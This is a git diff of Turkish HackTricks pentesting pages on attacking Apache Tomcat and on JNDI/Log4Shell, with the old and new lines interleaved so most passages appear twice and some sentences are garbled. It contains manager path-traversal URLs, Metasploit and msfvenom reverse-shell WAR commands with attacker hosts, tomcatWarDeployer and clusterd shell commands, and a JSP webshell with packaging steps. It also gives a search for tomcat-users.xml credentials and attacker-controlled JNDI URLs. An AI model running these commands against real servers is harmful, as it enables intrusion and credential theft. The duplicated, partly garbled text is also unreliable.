### **Çift URL Kodlama**
`mod_jk`'daki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlayarak özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
`mod_jk` içindeki CVE-2007-1860 açığı, çift URL kodlama yol gezintisi sağlayarak özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html`
### /examples
Apache Tomcat 4.x'ten 7.x'e kadar olan sürümler, bilgi ifşası ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu kapsamlı olarak listelenen betikler, yetkisiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
### /örnekler
Apache Tomcat sürümleri 4.x ile 7.x arasında bilgi sızdırmaya ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -102,21 +99,21 @@ Apache Tomcat 4.x'ten 7.x'e kadar olan sürümler, bilgi ifşası ve cross-site
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Yol Geçişi Sömürüsü**
Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'ta korunan dizinlere erişebilirsiniz.
### **Yol Gezintisi Sömürüsü**
Örneğin, Tomcat yönetici sayfasına erişmek için şu şekilde erişebilirsiniz: `www.zayif.com/lalala/..;/manager/html`
Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.
Bu hileyi kullanarak korunan yolları atlamak için başka bir yol, `http://www.zayif.com/;param=value/manager/html`'ye erişmektir.
Örneğin, **Tomcat yöneticisine erişebilirsiniz** `www.zayıf.com/lalala/..;/manager/html` adresine erişerek.
Bu hileyi kullanarak korunan yolları atlamak için **başka bir yol** `http://www.zayıf.com/;param=value/manager/html` adresine erişmektir.
## Uzaktan Kod Çalıştırma (RCE)
Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyebilir ve dağıtabilirsiniz (kod çalıştırabilirsiniz).
Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyip dağıtabilirsiniz (kod çalıştırma).
### Sınırlamalar
Bir WAR dosyası dağıtabilmeniz için yeterli yetkilere (roller: **admin**, **manager** ve **manager-script**) sahip olmanız gerekecektir. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml`'de tanımlanan _tomcat-users.xml_ dosyasında bulunabilir (sürümler arasında değişebilir) (bkz. [POST](tomcat.md#post) bölümü).
Yeterli ayrıcalıklara (roller: **admin**, **manager** ve **manager-script**) sahipseniz yalnızca bir WAR dağıtabilirsiniz. Bu detaylar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -128,13 +125,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
```
### Metasploit
Metasploit, birçok farklı hedefe yönelik saldırıları gerçekleştirmek için kullanılan bir açık kaynaklı sızma testi aracıdır. Bu araç, siber güvenlik profesyonellerinin ağları ve sistemleri test etmek, zayıflıkları tespit etmek ve güvenlik açıklarını sömürmek için kullanılan bir dizi modül ve exploit içerir.
Metasploit, hedef sistemlere erişmek için çeşitli saldırı vektörleri kullanır. Bu vektörler arasında zayıf parola kullanımı, güvenlik açıkları, kötü amaçlı yazılım bulaşması ve sosyal mühendislik gibi yöntemler bulunur. Metasploit, bu saldırı vektörlerini kullanarak hedef sistemlere erişim sağlar ve ardından hedef sistemdeki zayıflıkları tespit eder ve sömürür.
Metasploit, kullanıcıların hedef sistemler üzerinde çeşitli saldırılar gerçekleştirmelerine olanak tanır. Bu saldırılar arasında parola kaba kuvvet saldırıları, exploit kullanarak güvenlik açıklarını sömürme, ters kabuk oluşturma ve sistemdeki verileri çalma gibi işlemler bulunur.
Metasploit, sızma testi ve güvenlik değerlendirmeleri için güçlü bir araçtır. Ancak, yasal ve etik sınırlar içinde kullanılmalıdır. Herhangi bir saldırı veya kötü niyetli faaliyet gerçekleştirmeden önce, hedef sistem sahibinin iznini almak önemlidir.
Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Hızlı ve etkili bir şekilde web uygulamalarını hedef almak için kullanılabilir. Metasploit, Tomcat sunucularını hedef almak için bir dizi modül içerir. Bu modüller, zayıf noktaları ve güvenlik açıklarını tespit etmek ve istismar etmek için kullanılabilir.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -149,57 +140,31 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. `revshell.war` dosyasını yükleyin ve erişim sağlayın (`/revshell/`):
### `revshell.war` dosyasını yükleyin ve erişim sağlayın (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile Bağlama ve ters kabuk
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile bağlantı ve ters kabuk oluşturun
Bazı senaryolarda bu çalışmaz (örneğin eski sürümler için sun)
Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)
#### İndirme
#### İndir
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Ters Kabuk
A reverse shell is a type of shell in which the target machine initiates a connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing and hacking activities.
To establish a reverse shell, the attacker needs to set up a listener on their machine and configure the target machine to connect back to the listener. Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine.
There are various methods to create a reverse shell, including using netcat, Python, or other scripting languages. The choice of method depends on the target machine's operating system and available tools.
It is important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing with proper authorization.
#### Ters kabuk
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind Shell
Bind shell, Türkçe olarak "bağlama kabuğu" anlamına gelir. Bağlama kabuğu, hedef sistemde bir ağ bağlantısı dinleyen ve gelen bağlantıları kabul eden bir kabuk oluşturur. Bu, saldırganın hedef sistemde komutları çalıştırmasına ve sistem üzerinde tam kontrol elde etmesine olanak tanır.
Bağlama kabuğu oluşturmak için genellikle bir sunucu programı kullanılır. Bu program, belirli bir portu dinler ve gelen bağlantıları kabul eder. Saldırgan, hedef sistemdeki bu portu hedefleyen bir saldırı gerçekleştirerek bağlantıyı kurar. Bağlantı kurulduktan sonra saldırgan, hedef sistemde komutları çalıştırabilir ve sistem üzerinde istediği işlemleri gerçekleştirebilir.
Bağlama kabuğu, hedef sistemdeki ağ trafiğini dinleyerek çalışır. Bu nedenle, hedef sistemdeki güvenlik duvarı veya IDS/IPS gibi koruma mekanizmaları tarafından tespit edilebilir. Bu nedenle, bağlama kabuğu kullanırken dikkatli olunmalı ve gerekli önlemler alınmalıdır.
#### Bağlama kabuğu
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd) Kullanımı
Culsterd, bir web uygulamasının güvenlik açıklarını tespit etmek için kullanılan bir araçtır. Bu araç, Apache Tomcat sunucusu üzerindeki zayıf noktaları keşfetmek için kullanılabilir. Culsterd, bir dizi saldırı vektörü kullanarak Tomcat sunucusunu hedef alır ve potansiyel güvenlik açıklarını ortaya çıkarır.
Culsterd, birkaç farklı saldırı modülü içerir:
- **Tomcat Manager Brute Force**: Bu modül, Tomcat sunucusuna yönetici erişimi elde etmek için brute force saldırısı gerçekleştirir. Varsayılan kullanıcı adı ve şifre kombinasyonlarını deneyerek, doğru kimlik bilgilerini bulmaya çalışır.
- **Tomcat Manager Deploy**: Bu modül, Tomcat sunucusuna kötü amaçlı bir web uygulaması yüklemek için kullanılır. Bu, sunucunun güvenlik açıklarını sömürmek için bir fırsat sağlar.
- **Tomcat Manager Undeploy**: Bu modül, Tomcat sunucusundan bir web uygulamasını kaldırmak için kullanılır. Bu, hedef sunucuda bulunan bir zayıf noktayı ortadan kaldırmak için kullanılabilir.
Culsterd, Tomcat sunucusu üzerindeki güvenlik açıklarını tespit etmek ve sömürmek için etkili bir araçtır. Ancak, yasal ve etik sınırlar içinde kullanılmalıdır.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manuel yöntem - Web kabuğu
Bu [içerik](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ile **index.jsp** oluşturun:
Aşağıdaki [içerik](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ile **index.jsp** oluşturun:
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -230,11 +195,9 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Ayrıca bunu da yükleyebilirsiniz (yükleme, indirme ve komut yürütme izni verir): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### El ile Yöntem 2
[buradaki](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web kabuğu edinin ve bir WAR dosyası oluşturun:
Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -247,7 +210,7 @@ Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_'dir.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Tomcat kimlik bilgilerini toplamanın diğer yolları:
Diğer Tomcat kimlik bilgilerini toplama yöntemleri:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
@ -257,25 +220,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Referanslar
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>

View file

@ -2,123 +2,137 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Temel Bilgiler
JNDI, 1990'ların sonundan beri Java'ya entegre edilmiş olup, bir dizin hizmeti olarak hizmet verir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlar. SPI'ler (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekleyerek, uzaktaki Java nesneleri de dahil olmak üzere farklı sistemlerden veri almayı mümkün kılar. Ortak SPI'ler arasında CORBA COS, Java RMI Kayıt Defteri ve LDAP bulunur.
JNDI, Java'ya entegre edilmiş ve 1990'ların sonlarından beri hizmet veren bir dizin hizmeti olarak Java programlarının veri veya nesneleri bir adlandırma sistemi aracılığıyla bulmasını sağlar. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Yaygın SPI'lar arasında CORBA COS, Java RMI Registry ve LDAP bulunur.
### JNDI Adlandırma Referansı
Java nesneleri, iki farklı formda gelen JNDI Adlandırma Referansları kullanılarak depolanabilir ve alınabilir:
- **Referans Adresleri**: Bir nesnenin konumunu (_rmi://sunucu/ref_ gibi) belirterek belirtilen adresten doğrudan alınmasını sağlar.
- **Uzak Fabrika**: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzaktan indirilir ve örneklendirilir.
Java nesneleri, iki şekilde gelen JNDI Adlandırma Referansları kullanılarak depolanabilir ve alınabilir:
Ancak, bu mekanizma kötüye kullanılabilir ve keyfi kod yüklenmesine ve yürütülmesine yol açabilir. Bir önlem olarak:
* **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://sunucu/ref_), belirtilen adresten doğrudan alınmasına izin verir.
* **Uzak Fabrika**: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzak konumdan indirilir ve örneklenir.
- **RMI**: JDK 7u21'den itibaren varsayılan olarak `java.rmi.server.useCodeabseOnly = true` ile uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecek şeyleri daha da sınırlar.
- **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false` ile uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. `true` olarak ayarlanırsa, Güvenlik Yöneticisi denetimi olmadan uzaktan kod yürütme mümkündür.
- **CORBA**: Belirli bir özelliği yoktur, ancak Güvenlik Yöneticisi her zaman etkindir.
Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine yol açabilir. Bir karşı önlem olarak:
Ancak, JNDI bağlantılarını çözen **Adlandırma Yöneticisi** dahili güvenlik mekanizmalarına sahip olmadığından, herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmasına yol açabilir.
* **RMI**: JDK 7u21'den itibaren varsayılan olarak `java.rmi.server.useCodeabseOnly = true`, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.
* **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false`, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. `true` olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine tabi olmadan uzaktan kod yürütme mümkün olur.
* **CORBA**: Belirli bir özelliği olmasa da, Güvenlik Yöneticisi her zaman etkindir.
Sömürülebilen URL örnekleri şunları içerir:
- _rmi://saldırgan-sunucu/bar_
- _ldap://saldırgan-sunucu/bar_
- _iiop://saldırgan-sunucu/bar_
Ancak, JNDI bağlantılarını çözen **Adlandırma Yöneticisi** içinde yerleşik güvenlik mekanizmaları bulunmadığından, herhangi bir kaynaktan nesnelerin alınmasına izin verilebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmasına yol açabileceği için risk oluşturur.
Koruma önlemlerine rağmen, yüklenmemiş kaynaklardan JNDI'nın alınmasına karşı koruma eksikliği ve mevcut korumaların atlatılma olasılığı nedeniyle güvenlik açıkları devam etmektedir.
Sömürülebilecek URL örnekleri şunları içerir:
* _rmi://saldırgan-sunucu/bar_
* _ldap://saldırgan-sunucu/bar_
* _iiop://saldırgan-sunucu/bar_
Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvensiz kaynaklardan JNDI yüklenmesine karşı koruma eksikliği ve mevcut korumaların atlatılma olasılığı nedeniyle devam etmektedir.
### JNDI Örneği
![](<../../.gitbook/assets/image (655) (1) (1).png>)
Bir **`PROVIDER_URL`** ayarlamış olsanız bile, bir arama sırasında farklı bir URL belirtebilir ve erişilebilir: `ctx.lookup("<saldırgan-kontrollü-url>")` ve bu, bir saldırganın kendi kontrolünde olan bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir.
**`PROVIDER_URL`** ayarlamış olsanız bile, bir arama yaparken farklı bir URL belirtebilir ve erişilebilir: `ctx.lookup("<saldırgan-kontrollü-url>")` ve bu, bir saldırganın kendi kontrolünde olan bir sistemden keyfi nesneleri yüklemek için kötüye kullanacağı şeydir.
### CORBA Genel Bakış
CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için **Uyumluluk Sağlayan Nesne Referansı (IOR)** kullanır. Bu referans, tür kimliği ve stub sınıfını elde etmek için URL gibi temel bilgileri içerir.
CORBA (Ortak Nesne İstek Yönlendirici Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir **Uyumlu Nesne Referansı (IOR)** kullanır. Bu referans, şunları içeren temel bilgileri içerir:
Özellikle, CORBA temel olarak savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:
* **Tür Kimliği**: Bir arayüz için benzersiz tanımlayıcı.
* **Kod Tabanı**: Yer tutucu sınıfın alınacağı URL.
- Bir **Güvenlik Yöneticisi**nin kurulumu.
- Güvenlik Yöneticisinin potansiyel olarak zararlı kod tabanlarına bağlantılara izin vermesi için yapılandırılması. Bunun için şunlar yapılabilir:
- Soket izni, örneğin ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
- Dosya okuma izinleri, evrensel olarak (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) veya kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.
Önemli bir şekilde, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için şunlar yapılır:
Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bunlara varsayılan olarak izin verebilir.
* Bir **Güvenlik Yöneticisi** kurulumu.
* Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantıları izin vermesi. Bu, şunlar aracılığıyla başarılabilir:
* Soket izni, örneğin, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Dosya okuma izinleri, ya evrensel olarak (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.
Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bu bağlantılara varsayılan olarak izin verebilir.
### RMI Bağlamı
RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA ile benzer şekilde, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisini atlatmak gerekmektedir, bu da CORBA için de geçerli olan bir başarıdır.
RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.
### LDAP
İlk olarak, bir Arama ve Bir Bakış arasında ayrım yapmamız gerekiyor.\
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanarak bir LDAP sunucusundan JNDITutorial nesnesini bulmak ve **özniteliklerini almak** için kullanılır.\
Bir **bakış**, **adlandırma hizmetleri** için kullanılır, çünkü bir **isme bağlı olan herhangi bir şeyi** almak istiyoruz.
Öncelikle, Bir **Arama** ve Bir **Arama** arasında ayrım yapmamız gerekiyor.\
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulmak ve **özniteliklerini almak** için kullanılır.\
Bir **arama**, **adlandırma hizmetleri** içindir çünkü **bir isme bağlı olan her şeyi almak istiyoruz**.
LDAP araması, **SearchControls.setReturningObjFlag()** ile `true` olarak çağrıldıysa, döndürülen nesne yeniden oluşturulur.
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, döndürülen nesne yeniden oluşturulacaktır**.
Bu nedenle, bu seçeneklere saldırmak için birkaç yol vardır.\
Bir saldırgan, LDAP kayıtlarını zehirleyerek üzerlerine yürütülecek payloadları tanıtabilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok kullanışlıdır). Bunun yanı sıra, örneğin bir LDAP aramasında bir **MitM saldırısı** gerçekleştirebilirsiniz.
Bir **saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yürütülecek yükler ekleyebilir** (LDAP sunucusuna erişiminiz varsa onlarca makineyi **tehlikeye atmak için çok yararlıdır**). Bunun başka bir yolunu ise örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmek** olabilir.
Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve saldırıyı geri gönderebilirsiniz (log4shell).
#### Serileştirme sömürüsü
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
**Sömürü serileştirilir** ve serileştirilir.\
`trustURLCodebase` `true` ise, bir saldırgan kod tabanında kendi sınıflarını sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekir.
#### JNDI Referansı sömürüsü
Bu LDAP'ı saldırmak için **JavaFactory referanslarını** kullanmak daha kolaydır:
![](<../../.gitbook/assets/image (660) (1) (1).png>)
Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve istismarı geri gönderebilirsin
## Log4Shell Zafiyeti
Bu zafiyet, Log4j'de desteklenen özel bir sözdizimine dayanır. Sözdizimi `${prefix:name}` şeklindedir, burada `prefix`, `name` değerinin değerlendirilmesi gereken çeşitli [Arama](https://logging.apache.org/log4j/2.x/manual/lookups.html) türlerinden biridir. Örneğin, `${java:version}` Java'nın mevcut çalışan sürümüdür.
Zafiyet, Log4j'de tanımlanan özel bir sözdizimini desteklediği için ortaya çıkar. Bu sözdizimi `${prefix:ad}` şeklinde olup `prefix` farklı [**Arama**](https://logging.apache.org/log4j/2.x/manual/lookups.html) türlerinden biridir ve `ad` değerinin değerlendirilmesi gerekmektedir. Örneğin, `${java:sürüm}` mevcut çalışan Java sürümünü temsil eder.
[LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313), `jndi` Arama özelliğini tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle, anahtar otomatik olarak `java:comp/env/` ile öneklenir. Ancak, anahtarın kendisi **":"** içeriyorsa, bu varsayılan önek uygulanmaz.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) bir `jndi` Arama özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak `java:comp/env/` ile öneklenir. Ancak, anahtar kendisi **":"** içeriyorsa, bu varsayılan önek uygulanmaz.
Anahtarın içinde **":"** bulunan `${jndi:ldap://example.com/a}` gibi durumlarda **önek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Aramalar, Log4j'nin yapılandırmasında ve satırlar kaydedilirken kullanılabilir.
Anahtarın içinde bir **:** olduğunda, `${jndi:ldap://örnek.com/a}` gibi, **bir önek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Aramalar, Log4j'nin yapılandırmasında ve satırlar günlendiğinde kullanılabilir.
Bu nedenle, yalnızca **kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin güvenlik açığına sahip bir sürümüne ihtiyaç vardır**. Ve bu, Java uygulamaları tarafından (İnternete açık uygulamalar dahil) bilgi kaydetmek için yaygın olarak kullanılan bir kütüphanedir. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi kaydetmek için kullanılır.
Bu nedenle, yalnızca bir **kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin savunmasız bir sürümüne ihtiyaç duyulur**. Ve çünkü bu, Java uygulamaları tarafından geniş çapta kullanılan bir kütüphane olup (İnternet üzerindeki uygulamalar da dahil) örneğin User-Agent gibi alınan HTTP başlıklarını günlendirmek için log4j'nin çok yaygın olarak kullanıldığı çok yaygındı. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi günlendirmek için kullanılmaz.
## Log4Shell İlgili CVE'lerin Genel Bakışı
## Log4Shell ile İlgili CVE'lerin Genel Bakışı
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritik]**
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Kritik]**
